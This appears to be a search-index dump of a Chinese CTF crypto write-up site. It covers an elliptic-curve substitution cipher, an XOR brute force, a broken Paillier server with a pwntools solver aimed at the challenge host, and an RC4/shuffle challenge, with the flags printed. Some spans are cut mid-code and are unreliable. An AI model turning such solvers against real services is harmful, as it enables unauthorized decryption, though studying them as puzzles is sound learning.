\u5c3d\u7ba1\u70b9\u5206\u5e03\u7684\u5f62\u72b6\u4f3c\u4e4e\u548c\u5b9e\u6570\u57df\u7684\u692d\u5706\u66f2\u7ebf\u4e0d\u642d\u8fb9\uff0c\u4f46\u82e5\u8003\u8651\u662f\u5728\u6709\u9650\u57df\uff0c\u5219\u56fe\u4e2d\u70b9\u96c6\u5b8c\u5168\u7b26\u5408\u6709\u9650\u57df\u4e2d\u692d\u5706\u66f2\u7ebf\u7684\u7279\u6027 \u540c\u65f6\uff0c\u692d\u5706\u66f2\u7ebf\u4e0a\u70b9\u7684\u9006\u5143\u53ef\u4ee5\u7b26\u5408\u52a0\u89e3\u5bc6\u7684\u6620\u5c04\u9700\u6c42 \u6839\u636e\u5404\u70b9\u5750\u6807\u5927\u5c0f\u53ef\u63a8\u51fa\u6709\u9650\u57df\u5927\u5c0f\u4e3a \\(31\\) \u901a\u8fc7 \u5728\u7ebf\u692d\u5706\u66f2\u7ebf\u53ef\u89c6\u5316\u5de5\u5177 \u5bfb\u627e\u692d\u5706\u66f2\u7ebf\u7cfb\u6570\u7684\u5927\u81f4\u8303\u56f4 \u5173\u952e\u7279\u5f81\uff1a\u4e09\u4e2a\u70b9\u4f4d\u4e8e \\(x\\) \u8f74\uff0c\u4e00\u4e2a\u70b9\u4f4d\u4e8e \\((0, 0)\\) \u518d\u7ed3\u5408\u6709\u9650\u57df\u548c\u5df2\u77e5\u70b9\u7684\u5750\u6807\u786e\u5b9a\u692d\u5706\u66f2\u7ebf\u7cfb\u6570 \\(a=-5,b=0\\) from Crypto.Util.number import * ps = [( 0 , 0 ), ( 5 , 10 ), ( 5 , 21 ), ( 6 , 0 ), ( 8 , 10 ), ( 8 , 21 ), ( 9 , 8 ), ( 9 , 23 ), ( 10 , 12 ), ( 10 , 19 ), ( 11 , 6 ), ( 11 , 25 ), ( 12 , 5 ), ( 12 , 26 ), ( 14 , 15 ), ( 14 , 16 ), ( 15 , 13 ), ( 15 , 18 ), ( 18 , 10 ), ( 18 , 21 ), ( 24 , 8 ), ( 24 , 23 ), ( 25 , 0 ), ( 27 , 7 ), ( 27 , 24 ), ( 28 , 9 ), ( 28 , 22 ), ( 29 , 8 ), ( 29 , 23 ), ( 30 , 2 ), ( 30 , 29 )] for a in range ( - 5 , 0 ): for b in range ( - 4 , 5 ): if 4 * a ** 3 + 27 * b ** 2 : E = EllipticCurve ( Zmod ( 31 ), [ a , b ]) else : continue f = 1 for p in ps : try : E ( p [ 0 ], p [ 1 ]) except : f = 0 break if f : print ( a , b ) \u6839\u636e Caesar \u548c Multiplication \u63a8\u6d4b\u70b9\u7684\u6620\u5c04\u4e3a\u692d\u5706\u66f2\u7ebf\u4e2d\u7684\u70b9\u4e58\uff0c\u7cfb\u6570\u4e3a \\(3\\) \uff0c\u7136\u800c\u89e3\u5bc6\u7684\u7ed3\u679c\u662f\u4e00\u5806\u4e71\u7801 :( \u6700\u65e9\u7684\u51ef\u6492\u5bc6\u7801\u4e3a\u79fb \\(3\\) \u4f4d\uff0c\u540e\u6765\u6269\u5c55\u4e3a\u79fb\u4f4d\u5bc6\u7801\u3002\u4e8e\u662f\u5c1d\u8bd5\u6539\u53d8\u7cfb\u6570\uff0c\u5f53\u7cfb\u6570\u4e3a \\(11\\) \u65f6\u6210\u529f\u83b7\u5f97 Flag XD from Crypto.Util.number import * cipher = 'rzua]o^]tahf]ie]kiho^z]niru]ha^ogn]doak]i[]g[uff]iop^atpe[paz[[tapzetd' E = EllipticCurve ( Zmod ( 31 ), [ - 5 , 0 ]) d = { E ( 0 , 0 ): 'a' , E ( 5 , 10 ): 'b' , E ( 5 , 21 ): 'c' , E ( 6 , 0 ): 'd' , E ( 8 , 10 ): 'e' , E ( 8 , 21 ): 'f' , E ( 9 , 8 ): 'g' , E ( 9 , 23 ): 'h' , E ( 10 , 12 ): 'i' , E ( 10 , 19 ): 'j' , E ( 11 , 6 ): 'k' , E ( 11 , 25 ): 'l' , E ( 12 , 5 ): 'm' , E ( 12 , 26 ): 'n' , E ( 14 , 15 ): 'o' , E ( 14 , 16 ): 'p' , E ( 15 , 13 ): 'q' , E ( 15 , 18 ): 'r' , E ( 18 , 10 ): 's' , E ( 18 , 21 ): 't' , E ( 24 , 8 ): 'u' , E ( 24 , 23 ): 'v' , E ( 25 , 0 ): 'w' , E ( 27 , 7 ): 'x' , E ( 27 , 24 ): 'y' , E ( 28 , 9 ): 'z' , E ( 28 , 22 ): '[' , E ( 29 , 8 ): ' \\\\ ' , E ( 29 , 23 ): ']' , E ( 30 , 2 ): '^' , E ( 30 , 29 ): '_' } res = dict () for k , v in d . items (): res [ v ] = d [ 11 * k ] for c in cipher : print ( res [ c ], end = '' )","title":"\u89e3\u9898\u601d\u8def English ver."},{"location":"crypto/noteasy03/#flag","text":"ugra_in_case_of_losing_your_sanity_dial_oh_three_oijnacjfhjaghhcajgfcd","title":"Flag"},{"location":"crypto/opisthocomus_hoazin/","text":"\u9898\u76ee \u00b6 The plural of calculus is calculi. \u89e3\u9898\u601d\u8def \u00b6 \u5df2\u77e5 n \u3001 e \u548c flag \u6bcf\u4e00\u4f4d ASCII \u503c\u4e0e e \u5f02\u6216\u6a21 n \u7684\u7ed3\u679c\u6570\u7ec4 from Crypto.Util.number import * flag = open ( 'flag.txt' , 'r' ) . read () p = getPrime ( 1024 ) q = getPrime ( 1024 ) e = 2 ** 16 + 1 n = p * q ct = [] for ch in flag : ct . append (( ord ( ch ) ^ e ) % n ) print ( n ) print ( e ) print ( ct ) \u770b\u5230 n \u548c e \u611f\u89c9\u5f88 RSA\uff0c\u7136\u800c\u7531\u4e8e ASCII \u7801\u53d6\u503c\u8303\u56f4\u4e3a \\([0,127]\\) \uff0c\u76f4\u63a5\u66b4\u529b\u5c31\u53ef\u4ee5\u4e86\uff01 for i in ct : for j in range ( 128 ): if ( j ^ e ) % n == i : print ( chr ( j ), end = \"\" )","title":"opisthocomus-hoazin"},{"location":"crypto/opisthocomus_hoazin/#_1","text":"The plural of calculus is calculi.","title":"\u9898\u76ee"},{"location":"crypto/opisthocomus_hoazin/#_2","text":"\u5df2\u77e5 n \u3001 e \u548c flag \u6bcf\u4e00\u4f4d ASCII \u503c\u4e0e e \u5f02\u6216\u6a21 n \u7684\u7ed3\u679c\u6570\u7ec4 from Crypto.Util.number import * flag = open ( 'flag.txt' , 'r' ) . read () p = getPrime ( 1024 ) q = getPrime ( 1024 ) e = 2 ** 16 + 1 n = p * q ct = [] for ch in flag : ct . append (( ord ( ch ) ^ e ) % n ) print ( n ) print ( e ) print ( ct ) \u770b\u5230 n \u548c e \u611f\u89c9\u5f88 RSA\uff0c\u7136\u800c\u7531\u4e8e ASCII \u7801\u53d6\u503c\u8303\u56f4\u4e3a \\([0,127]\\) \uff0c\u76f4\u63a5\u66b4\u529b\u5c31\u53ef\u4ee5\u4e86\uff01 for i in ct : for j in range ( 128 ): if ( j ^ e ) % n == i : print ( chr ( j ), end = \"\" )","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/paiaiai/","text":"\u9898\u76ee \u00b6 Pai-ai-ai\u2026 My Paillier scheme seems to be broken and I stored my favourite flag in it. Please help me get it back, will you? Who could have guessed this would ever happen? \u2026 Me\u2026 I- I wrote it\u2026 yeah. nc cha.hackpack.club 10997 # or 20997 paiaiai.py #!/usr/bin/env python3 # # Polymero # # Imports from Crypto.Util.number import getPrime , inverse from secrets import randbelow # Local imports with open ( \"flag.txt\" , 'rb' ) as f : FLAG = f . read () . decode () f . close () # Just for you sanity assert len ( FLAG ) > 64 MENU = r \"\"\"| | MENU: | [E]ncrypt | [D]ecrypt | [Q]uit |\"\"\" class Paiaiai : \"\"\" My first Paillier implementation! So proud of it. ^ w ^ \"\"\" def __init__ ( self ): # Key generation p , q = [ getPrime ( 512 ) for _ in range ( 2 )] n = p * q # Public key self . pub = { 'n' : n , 'gp' : pow ( randbelow ( n ** 2 ), p , n ** 2 ), 'gq' : pow ( randbelow ( n ** 2 ), q , n ** 2 ) } # Private key self . priv = { 'la' : ( p - 1 ) * ( q - 1 ), 'mu' : inverse (( pow ( self . pub [ 'gp' ] * self . pub [ 'gq' ], ( p - 1 ) * ( q - 1 ), n ** 2 ) - 1 ) // n , n ) } def encrypt ( self , m : str ): m_int = int . from_bytes ( m . encode (), 'big' ) g = pow ([ self . pub [ 'gp' ], self . pub [ 'gq' ]][ randbelow ( 2 )], m_int , self . pub [ 'n' ] ** 2 ) r = pow ( randbelow ( self . pub [ 'n' ]), self . pub [ 'n' ], self . pub [ 'n' ] ** 2 ) return ( g * r ) % self . pub [ 'n' ] ** 2 def decrypt ( self , c : int ): cl = ( pow ( c , self . priv [ 'la' ], self . pub [ 'n' ] ** 2 ) - 1 ) // self . pub [ 'n' ] return ( cl * self . priv [ 'mu' ]) % self . pub [ 'n' ] pai = Paiaiai () while True : try : print ( MENU ) choice = input ( \"| >>> \" ) . lower () . strip () if choice == 'e' : print ( \"| \\n | ENCRYPT:\" ) print ( \"| [F]lag\" ) print ( \"| [M]essage\" ) subchoice = input ( \"| \\n | >>> \" ) . lower () . strip () if subchoice == 'f' : enc_flag = pai . encrypt ( FLAG ) print ( \"| \\n | FLAG:\" , enc_flag ) elif subchoice == 'm' : msg = input ( \"| \\n | MSG: str \\n | > \" ) cip = pai . encrypt ( msg ) print ( \"| \\n | CIP:\" , cip ) elif choice == 'd' : cip = input ( \"| \\n | CIP: int \\n | > \" ) msg = pai . decrypt ( int ( cip )) print ( \"| \\n | MSG:\" , msg ) elif choice == 'q' : print ( \"| \\n | Bai ~ \\n |\" ) break else : print ( \"| \\n | Trai again ~ \\n |\" ) except ( KeyboardInterrupt , EOFError ): print ( \" \\n | \\n | Bai ~ \\n |\" ) break except : print ( \"| \\n | Aiaiai ~ \\n |\" ) \u89e3\u9898\u601d\u8def \u00b6 server \u540c\u65f6\u63d0\u4f9b\u4e86\u52a0\u5bc6\u548c\u89e3\u5bc6\u7684\u529f\u80fd\uff0c\u4f46\u662f\u89e3\u5bc6\u7ed3\u679c\u663e\u7136\u662f\u4e0d\u5bf9\u7684 (\u2565\u03c9\u2565) \u5982\u679c\u6211\u4eec\u52a0\u5bc6 test \u5e76\u5c06\u5f97\u5230\u7684\u5bc6\u6587\u4ea4\u7ed9\u670d\u52a1\u5668\u89e3\u5bc6\uff0c\u90a3\u4e48\u4f1a\u6536\u5230\u4e00\u4e32\u4e71\u7801\uff08\u4ee5\u4e0b\u7ed3\u679c\u7ecf\u8fc7 long_to_bytes \u5904\u7406\uff09 b \"6\\xa2\\x15\\x816\\x12'\\x8f\\xdc[v\\xb6\\xe4]2\\xfc\\xfc\\x13_\\xc3\\xe3\\xc7A\\xddF:f\\x1d\\xd4\\xe8A\\x92`V\\xf8\\xfe)4\\xb1DS\\xcc\\xe7\\xf6&\\x93\\x8b\\xee()/7\\xd4\\xb9=`\\xc80\\x95\\xb5\\x00\\xc1h\\x1f\\xc5\\xab\\xb7\\x9b\\x03\\x8c\\xbd[\\xd8\\xf8\\x81\\x8ek\\x00\\xd0\\xe0v\\x03l\\xfa\\x872h\\xd0.C\\xa1D\\xa8\\xc8\\xc7a\\xe5\\xd5_\\xd0\\x91\\xe8\\x8b\\xeb\\xb8\\x17Zd\\xb8\\xe7j\\x14\\xc6^\\xdd\\xa1\\x80\\xb4kT $j \\xc9\\xe6e`\\x8e\\x00\" \u5206\u6790 paiaiai.py \u4e2d Paillier \u7684\u5b9e\u73b0 Paiaiai Paiaiai \u00b6 Paiaiai \u52a0\u89e3\u5bc6\u8fc7\u7a0b\u4e0e\u539f Paillier \u7b97\u6cd5\u57fa\u672c\u4e00\u81f4\uff0c\u4f46\u4fee\u6539\u4e86\u516c\u79c1\u94a5\u7684\u751f\u6210\u65b9\u5f0f \u516c\u94a5\u4e3a \\((n,g_p,g_q)\\) \u79c1\u94a5\u4e3a \\((\\lambda, \\mu)\\) \uff0c\u5176\u4e2d \\(\\lambda=(p-1)(q-1),\\mu=(L((g_p\\times g_q)^\\lambda\\ mod\\ n^2))^{-1}(mod\\ n)\\) \u52a0\u5bc6 \u00b6 \u968f\u673a\u9009\u62e9 \\(g_p\\) \u548c \\(g_q\\) \u4f5c\u4e3a \\(g\\) \u4e24\u79cd\u53ef\u80fd\u7684\u5bc6\u6587 \\(c_p=g_p^m\\cdot r^n\\ mod\\ n^2\\) \\(c_q=g_q^m\\cdot r^n\\ mod\\ n^2\\) \u89e3\u5bc6 \u00b6 \\(D(c)=L(c^\\lambda\\ mod\\ n^2)\\cdot\\mu\\) \\(=\\frac{L(c^\\lambda\\ mod\\ n^2)}{L((g_p\\times g_q)^\\lambda\\ mod\\ n^2)}\\ mod\\ n\\) \\(\\because \\lambda=(p-1)(q-1)=\\varphi(n)\\) \\(\\therefore g^\\lambda\\equiv 1(mod\\ n),g^\\lambda(mod\\, n^2)\\equiv 1(mod\\, n)\\) \\(\\therefore g^\\lambda(mod\\, n^2)=nk_g+1,k_g>> ' , 'e \\n ' ) conn . sendafter ( '>>> ' , 'f \\n ' ) c = conn . recvline_contains ( 'FLAG: ' ) . decode () c = c [ c . find ( ': ' ) + 2 :] conn . sendafter ( '>>> ' , 'd \\n ' ) conn . sendafter ( '> ' , c + ' \\n ' ) x = conn . recvline_contains ( 'MSG: ' ) . decode () x = int ( x [ x . find ( ': ' ) + 2 :]) cipher [ x ] = int ( c ) if len ( cipher ) == 2 : # got 2 different ciphertexts break cipher = cipher . values () conn . sendafter ( '>>> ' , 'd \\n ' ) conn . sendafter ( '> ' , str ( cipher [ 0 ] * cipher [ 1 ]) + ' \\n ' ) m = conn . recvline_contains ( 'MSG: ' ) . decode () m = int ( m [ m . find ( ': ' ) + 2 :]) print ( long_to_bytes ( m )) # b'________flag{p41_41_41_1_d0nt_th1nk_th1s_1s_wh4t_p41ll13r_1nt3nd3d_3h}________' Flag \u00b6 flag{p41_41_41_1_d0nt_th1nk_th1s_1s_wh4t_p41ll13r_1nt3nd3d_3h} Paillier \u00b6 \u5bc6\u94a5\u751f\u6210 \u00b6 \u968f\u673a\u9009\u62e9\u4e24\u4e2a\u5927\u7d20\u6570 \\(p,q\\) \uff0c\u4fdd\u8bc1 \\(gcd(pq,(p-1)(q-1))=1\\) \u8ba1\u7b97 \\(n=pq\\) \uff0c \\(\\lambda=lcm(p-1,q-1)\\) \u968f\u673a\u9009\u62e9\u4e00\u4e2a\u5c0f\u4e8e \\(n^2\\) \u7684\u6b63\u6574\u6570 \\(g\\) \uff0c\u4e14\u5b58\u5728 \\(\\mu=(L(g^{\\lambda}\\ mod\\ n^2))^{-1}mod\\, n\\) \u5176\u4e2d\uff0c \\(L(x)=\\frac{x-1}{n}\\) \uff08\u6b64\u5904\u5206\u5f0f\u4e3a\u9664\u6cd5\uff09 \u516c\u94a5\u4e3a \\((n,g)\\) \uff0c\u79c1\u94a5\u4e3a \\((\\lambda,\\mu)\\) \u7b80\u5355\u53d8\u79cd \u00b6 \u5728 \\(p,q\\) \u957f\u5ea6\u4e00\u81f4\u7684\u60c5\u51b5\u4e0b\uff0c\u53ef\u4ee5\u5feb\u901f\u751f\u6210\u5bc6\u94a5 \\(g=n+1,\\lambda=\\varphi(n),\\mu=\\varphi(n)^{-1}\\) \u52a0\u5bc6 \u00b6 \u660e\u6587 \\(m\\) \u662f\u5c0f\u4e8e \\(n\\) \u7684\u81ea\u7136\u6570\uff0c\u968f\u673a\u6570 \\(r\\) \u662f\u5c0f\u4e8e \\(n\\) \u7684\u6b63\u6574\u6570 \\(c=g^m\\cdot r^n\\, mod\\ n^2\\) \u89e3\u5bc6 \u00b6 \\(m=L(c^{\\lambda}\\ mod\\ n^2)\\cdot \\mu\\ mod\\ n=\\frac{L(c^\\lambda\\ mod\\ n^2)}{L(g^\\lambda\\ mod\\ n^2)}\\ mod\\ n\\) \u539f\u7406 \u00b6 \u6839\u636e\u4e8c\u9879\u5f0f\u5b9a\u7406\uff0c \\((1+n)^x=\\sum^x_{k=0}{x\\choose k}n^k=1+xn+{x\\choose 2}n^2+\\dotsb\\) \uff0c\u6613\u5f97 \\((1+n)^x\\equiv 1+nx\\, (mod\\, n^2)\\) \\(\\because (p-1)|\\lambda,(q-1)|\\lambda\\) \\(\\therefore \\lambda=k_1(p-1)=k_2(q-1)\\) \u7531\u8d39\u9a6c\u5c0f\u5b9a\u7406\u53ef\u5f97 \\(g^\\lambda=g^{k_1(p-1)}\\equiv 1(mod\\,p),(g^\\lambda-1)|p\\) \uff0c\u540c\u7406\u6709 \\((g^\\lambda-1)|q\\) \\(\\therefore (g^\\lambda-1)|pq\\) \uff0c\u53ef\u5f97 \\(g^\\lambda\\equiv 1(mod\\, n),g^\\lambda(mod\\, n^2)\\equiv 1(mod\\, n)\\) \\(\\therefore g^\\lambda(mod\\, n^2)=nk_g+1,k_g 64 MENU = r \"\"\"| | MENU: | [E]ncrypt | [D]ecrypt | [Q]uit |\"\"\" class Paiaiai : \"\"\" My first Paillier implementation! So proud of it. ^ w ^ \"\"\" def __init__ ( self ): # Key generation p , q = [ getPrime ( 512 ) for _ in range ( 2 )] n = p * q # Public key self . pub = { 'n' : n , 'gp' : pow ( randbelow ( n ** 2 ), p , n ** 2 ), 'gq' : pow ( randbelow ( n ** 2 ), q , n ** 2 ) } # Private key self . priv = { 'la' : ( p - 1 ) * ( q - 1 ), 'mu' : inverse (( pow ( self . pub [ 'gp' ] * self . pub [ 'gq' ], ( p - 1 ) * ( q - 1 ), n ** 2 ) - 1 ) // n , n ) } def encrypt ( self , m : str ): m_int = int . from_bytes ( m . encode (), 'big' ) g = pow ([ self . pub [ 'gp' ], self . pub [ 'gq' ]][ randbelow ( 2 )], m_int , self . pub [ 'n' ] ** 2 ) r = pow ( randbelow ( self . pub [ 'n' ]), self . pub [ 'n' ], self . pub [ 'n' ] ** 2 ) return ( g * r ) % self . pub [ 'n' ] ** 2 def decrypt ( self , c : int ): cl = ( pow ( c , self . priv [ 'la' ], self . pub [ 'n' ] ** 2 ) - 1 ) // self . pub [ 'n' ] return ( cl * self . priv [ 'mu' ]) % self . pub [ 'n' ] pai = Paiaiai () while True : try : print ( MENU ) choice = input ( \"| >>> \" ) . lower () . strip () if choice == 'e' : print ( \"| \\n | ENCRYPT:\" ) print ( \"| [F]lag\" ) print ( \"| [M]essage\" ) subchoice = input ( \"| \\n | >>> \" ) . lower () . strip () if subchoice == 'f' : enc_flag = pai . encrypt ( FLAG ) print ( \"| \\n | FLAG:\" , enc_flag ) elif subchoice == 'm' : msg = input ( \"| \\n | MSG: str \\n | > \" ) cip = pai . encrypt ( msg ) print ( \"| \\n | CIP:\" , cip ) elif choice == 'd' : cip = input ( \"| \\n | CIP: int \\n | > \" ) msg = pai . decrypt ( int ( cip )) print ( \"| \\n | MSG:\" , msg ) elif choice == 'q' : print ( \"| \\n | Bai ~ \\n |\" ) break else : print ( \"| \\n | Trai again ~ \\n |\" ) except ( KeyboardInterrupt , EOFError ): print ( \" \\n | \\n | Bai ~ \\n |\" ) break except : print ( \"| \\n | Aiaiai ~ \\n |\" )","title":"\u9898\u76ee"},{"location":"crypto/paiaiai/#_2","text":"server \u540c\u65f6\u63d0\u4f9b\u4e86\u52a0\u5bc6\u548c\u89e3\u5bc6\u7684\u529f\u80fd\uff0c\u4f46\u662f\u89e3\u5bc6\u7ed3\u679c\u663e\u7136\u662f\u4e0d\u5bf9\u7684 (\u2565\u03c9\u2565) \u5982\u679c\u6211\u4eec\u52a0\u5bc6 test \u5e76\u5c06\u5f97\u5230\u7684\u5bc6\u6587\u4ea4\u7ed9\u670d\u52a1\u5668\u89e3\u5bc6\uff0c\u90a3\u4e48\u4f1a\u6536\u5230\u4e00\u4e32\u4e71\u7801\uff08\u4ee5\u4e0b\u7ed3\u679c\u7ecf\u8fc7 long_to_bytes \u5904\u7406\uff09 b \"6\\xa2\\x15\\x816\\x12'\\x8f\\xdc[v\\xb6\\xe4]2\\xfc\\xfc\\x13_\\xc3\\xe3\\xc7A\\xddF:f\\x1d\\xd4\\xe8A\\x92`V\\xf8\\xfe)4\\xb1DS\\xcc\\xe7\\xf6&\\x93\\x8b\\xee()/7\\xd4\\xb9=`\\xc80\\x95\\xb5\\x00\\xc1h\\x1f\\xc5\\xab\\xb7\\x9b\\x03\\x8c\\xbd[\\xd8\\xf8\\x81\\x8ek\\x00\\xd0\\xe0v\\x03l\\xfa\\x872h\\xd0.C\\xa1D\\xa8\\xc8\\xc7a\\xe5\\xd5_\\xd0\\x91\\xe8\\x8b\\xeb\\xb8\\x17Zd\\xb8\\xe7j\\x14\\xc6^\\xdd\\xa1\\x80\\xb4kT $j \\xc9\\xe6e`\\x8e\\x00\" \u5206\u6790 paiaiai.py \u4e2d Paillier \u7684\u5b9e\u73b0 Paiaiai","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/paiaiai/#paiaiai","text":"Paiaiai \u52a0\u89e3\u5bc6\u8fc7\u7a0b\u4e0e\u539f Paillier \u7b97\u6cd5\u57fa\u672c\u4e00\u81f4\uff0c\u4f46\u4fee\u6539\u4e86\u516c\u79c1\u94a5\u7684\u751f\u6210\u65b9\u5f0f \u516c\u94a5\u4e3a \\((n,g_p,g_q)\\) \u79c1\u94a5\u4e3a \\((\\lambda, \\mu)\\) \uff0c\u5176\u4e2d \\(\\lambda=(p-1)(q-1),\\mu=(L((g_p\\times g_q)^\\lambda\\ mod\\ n^2))^{-1}(mod\\ n)\\)","title":"Paiaiai"},{"location":"crypto/paiaiai/#_3","text":"\u968f\u673a\u9009\u62e9 \\(g_p\\) \u548c \\(g_q\\) \u4f5c\u4e3a \\(g\\) \u4e24\u79cd\u53ef\u80fd\u7684\u5bc6\u6587 \\(c_p=g_p^m\\cdot r^n\\ mod\\ n^2\\) \\(c_q=g_q^m\\cdot r^n\\ mod\\ n^2\\)","title":"\u52a0\u5bc6"},{"location":"crypto/paiaiai/#_4","text":"\\(D(c)=L(c^\\lambda\\ mod\\ n^2)\\cdot\\mu\\) \\(=\\frac{L(c^\\lambda\\ mod\\ n^2)}{L((g_p\\times g_q)^\\lambda\\ mod\\ n^2)}\\ mod\\ n\\) \\(\\because \\lambda=(p-1)(q-1)=\\varphi(n)\\) \\(\\therefore g^\\lambda\\equiv 1(mod\\ n),g^\\lambda(mod\\, n^2)\\equiv 1(mod\\, n)\\) \\(\\therefore g^\\lambda(mod\\, n^2)=nk_g+1,k_g>> ' , 'e \\n ' ) conn . sendafter ( '>>> ' , 'f \\n ' ) c = conn . recvline_contains ( 'FLAG: ' ) . decode () c = c [ c . find ( ': ' ) + 2 :] conn . sendafter ( '>>> ' , 'd \\n ' ) conn . sendafter ( '> ' , c + ' \\n ' ) x = conn . recvline_contains ( 'MSG: ' ) . decode () x = int ( x [ x . find ( ': ' ) + 2 :]) cipher [ x ] = int ( c ) if len ( cipher ) == 2 : # got 2 different ciphertexts break cipher = cipher . values () conn . sendafter ( '>>> ' , 'd \\n ' ) conn . sendafter ( '> ' , str ( cipher [ 0 ] * cipher [ 1 ]) + ' \\n ' ) m = conn . recvline_contains ( 'MSG: ' ) . decode () m = int ( m [ m . find ( ': ' ) + 2 :]) print ( long_to_bytes ( m )) # b'________flag{p41_41_41_1_d0nt_th1nk_th1s_1s_wh4t_p41ll13r_1nt3nd3d_3h}________'","title":"Exploitation"},{"location":"crypto/paiaiai/#flag","text":"flag{p41_41_41_1_d0nt_th1nk_th1s_1s_wh4t_p41ll13r_1nt3nd3d_3h}","title":"Flag"},{"location":"crypto/paiaiai/#paillier","text":"","title":"Paillier"},{"location":"crypto/paiaiai/#_5","text":"\u968f\u673a\u9009\u62e9\u4e24\u4e2a\u5927\u7d20\u6570 \\(p,q\\) \uff0c\u4fdd\u8bc1 \\(gcd(pq,(p-1)(q-1))=1\\) \u8ba1\u7b97 \\(n=pq\\) \uff0c \\(\\lambda=lcm(p-1,q-1)\\) \u968f\u673a\u9009\u62e9\u4e00\u4e2a\u5c0f\u4e8e \\(n^2\\) \u7684\u6b63\u6574\u6570 \\(g\\) \uff0c\u4e14\u5b58\u5728 \\(\\mu=(L(g^{\\lambda}\\ mod\\ n^2))^{-1}mod\\, n\\) \u5176\u4e2d\uff0c \\(L(x)=\\frac{x-1}{n}\\) \uff08\u6b64\u5904\u5206\u5f0f\u4e3a\u9664\u6cd5\uff09 \u516c\u94a5\u4e3a \\((n,g)\\) \uff0c\u79c1\u94a5\u4e3a \\((\\lambda,\\mu)\\)","title":"\u5bc6\u94a5\u751f\u6210"},{"location":"crypto/paiaiai/#_6","text":"\u5728 \\(p,q\\) \u957f\u5ea6\u4e00\u81f4\u7684\u60c5\u51b5\u4e0b\uff0c\u53ef\u4ee5\u5feb\u901f\u751f\u6210\u5bc6\u94a5 \\(g=n+1,\\lambda=\\varphi(n),\\mu=\\varphi(n)^{-1}\\)","title":"\u7b80\u5355\u53d8\u79cd"},{"location":"crypto/paiaiai/#_7","text":"\u660e\u6587 \\(m\\) \u662f\u5c0f\u4e8e \\(n\\) \u7684\u81ea\u7136\u6570\uff0c\u968f\u673a\u6570 \\(r\\) \u662f\u5c0f\u4e8e \\(n\\) \u7684\u6b63\u6574\u6570 \\(c=g^m\\cdot r^n\\, mod\\ n^2\\)","title":"\u52a0\u5bc6"},{"location":"crypto/paiaiai/#_8","text":"\\(m=L(c^{\\lambda}\\ mod\\ n^2)\\cdot \\mu\\ mod\\ n=\\frac{L(c^\\lambda\\ mod\\ n^2)}{L(g^\\lambda\\ mod\\ n^2)}\\ mod\\ n\\)","title":"\u89e3\u5bc6"},{"location":"crypto/paiaiai/#_9","text":"\u6839\u636e\u4e8c\u9879\u5f0f\u5b9a\u7406\uff0c \\((1+n)^x=\\sum^x_{k=0}{x\\choose k}n^k=1+xn+{x\\choose 2}n^2+\\dotsb\\) \uff0c\u6613\u5f97 \\((1+n)^x\\equiv 1+nx\\, (mod\\, n^2)\\) \\(\\because (p-1)|\\lambda,(q-1)|\\lambda\\) \\(\\therefore \\lambda=k_1(p-1)=k_2(q-1)\\) \u7531\u8d39\u9a6c\u5c0f\u5b9a\u7406\u53ef\u5f97 \\(g^\\lambda=g^{k_1(p-1)}\\equiv 1(mod\\,p),(g^\\lambda-1)|p\\) \uff0c\u540c\u7406\u6709 \\((g^\\lambda-1)|q\\) \\(\\therefore (g^\\lambda-1)|pq\\) \uff0c\u53ef\u5f97 \\(g^\\lambda\\equiv 1(mod\\, n),g^\\lambda(mod\\, n^2)\\equiv 1(mod\\, n)\\) \\(\\therefore g^\\lambda(mod\\, n^2)=nk_g+1,k_g State : S = list ( range ( 128 )) j = 0 for i in range ( 128 ): j = ( j + S [ i ] + key [ i % len ( key )]) % 128 swap ( S , i , j ) return S def rc4_pseudo_random_generator ( S : State ) -> Iterator [ int ]: i = j = 0 while True : i = ( i + 1 ) % 128 j = ( j + S [ i ]) % 128 swap ( S , i , j ) yield S [( S [ i ] + S [ j ]) % 128 ] def shuffle ( s : bytes ) -> bytes : bits = bitarray () bits . frombytes ( s ) random . shuffle ( bits ) return bits . tobytes () def xor ( s1 : bytes , s2 : bytes ) -> bytes : assert len ( s1 ) == len ( s2 ) return bytes ( c1 ^ c2 for c1 , c2 in zip ( s1 , s2 )) if __name__ == '__main__' : from secret import FLAG random . seed ( 2023 ) print ( sys . version ) prg = rc4_pseudo_random_generator ( rc4_key_scheduling ( FLAG )) for _ in range ( 64 ): shuffled = shuffle ( FLAG ) key = bytes ( next ( prg ) for _ in range ( len ( FLAG ))) print ( xor ( shuffled , key ) . hex ()) # Output # 3.10.7 (main, Nov 24 2022, 19:45:47) [GCC 12.2.0] # 7dfdf6eba4da43bf7ca6eb64d3fbaac5e764b2c8e66e1f2a30e3b9e95b2ef48b28f105cdfc # 3353e19ed6a3ecad7716831b8cc149ad3a1990c8f4682c434d1b7f417e7df9e9ca0743fc3a # 2e15e68721c7773a920d9622cbad21b2d48e00358b1107b300ba19c3a48291dc1579eaf4f4 # e0f6b4e61390ce8d1eab002af797eb022c58a6576ef55c78b917268b9fe4d3f45dfc7d5dc3 # de11f01e825a69e5b1e004db1f79974ca9e42a2b0c0197dcb322f5a0e43cf7ddfdb529699d # 976dbf67bf2f67fd947c69696c5ef5bb9186b8031d279165a5fcd1f6ac9d7f668b847ecfc0 # 01f123b89f75d3ab5f744caa4dd892eac598a0b1413cc0abf93509b2bc254a5714fd979f7a # 488b3d4d110f2dca864f6589a58033cc23ca3618db8ce59f398b7b9a6dfd93220e1cd02538 # 6b92f7e54e6406b2d7d1176f5604e22cf4c6710ff35fa4cf7d33a7d1855a7f868da8713faa # f9302dccf5c000ef69c2440fbe22b7eaeb5a95483dda09a0b0414e297ad81fb64fabc60025 # c9b5dcf6031051d3433ddc358f7e18b3f7cec58b37bace17f2fd1e39b1cac64fbfcdbff2aa # bddac6c00310a5c80cb73d640a1b0592ed5d99984971a085941e7ea8e2fd0e86aaa1b7098f # 2ac7cdeb9e7eeb5abad2b4ed1238de39cb17aa4f4d8827ebd36d4a99acb9fb4e44cd365186 # b38ed3a76f5751faaca88fbae7ef53a6a4baa4f29b4bca0ef782b373969d3df62d9c276d69 # 20f40b4267ae37f994dac8fccbb652d29abce709dc9f52223ddebe441899edfb8dc3a31a5d # c9116855c08f1d04cbe6d86d0e9523c564fd3dd8bb79f7898ea7e624aba832e6530ad1231c # b388f35a0f2009326bf66170156e57a36eea83285698fcdf2ba1fbbad199dc9d7860158d5e # 1f8c81249a0428cd781494ada971c49e1cd7121af374ecc70d902ad0f4f736e4ef23f61fc9 # b70d877d5ff8c38096faecb1de2df31ce467372c09c66c54b8e122123b539966937bb94d52 # 72951dcfda3601c762b4ea5119e40e93bbe7a595a35db985cb990f3bbcc74ddc7157f0baff # 